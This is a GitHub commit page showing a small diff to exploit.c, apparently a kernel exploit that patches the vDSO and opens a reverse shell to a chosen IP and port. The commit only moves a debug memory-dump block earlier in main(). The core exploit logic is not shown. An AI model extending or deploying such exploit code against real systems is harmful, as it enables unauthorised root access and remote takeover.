Skip to content
This repository has been archived by the owner on Apr 2, 2019. It is now read-only.

Commit

Permalink
dump before check kernel
Browse files Browse the repository at this point in the history
  • Loading branch information
hyln9 authored Jan 27, 2017
1 parent b21630d commit 498d85e
Showing 1 changed file with 4 additions and 4 deletions.
8 changes: 4 additions & 4 deletions exploit.c
Original file line number Diff line number Diff line change
Expand Up @@ -592,6 +592,10 @@ main(int argc, char *argv[])
printf("\n>>> Reverse shell target: %s:%d\n\n",
inet_ntoa(*(struct in_addr *)&ip), ntohs(port));

#ifdef DBG
dump("vdso_orig.so", vdso_addr);
#endif

if ((target_offset = match_entry(vdso_addr, &entry)) == 0)
{
fprintf(stderr, "Internal error: unknown kernel.\n");
Expand All @@ -609,10 +613,6 @@ main(int argc, char *argv[])

printf(">>> Exploit process starts.\n\n");

#ifdef DBG
dump("vdso_orig.so", vdso_addr);
#endif

patch_vdso(vdso_patch, vdso_addr, true);

#ifdef DBG
Expand Down

0 comments on commit 498d85e

Please sign in to comment.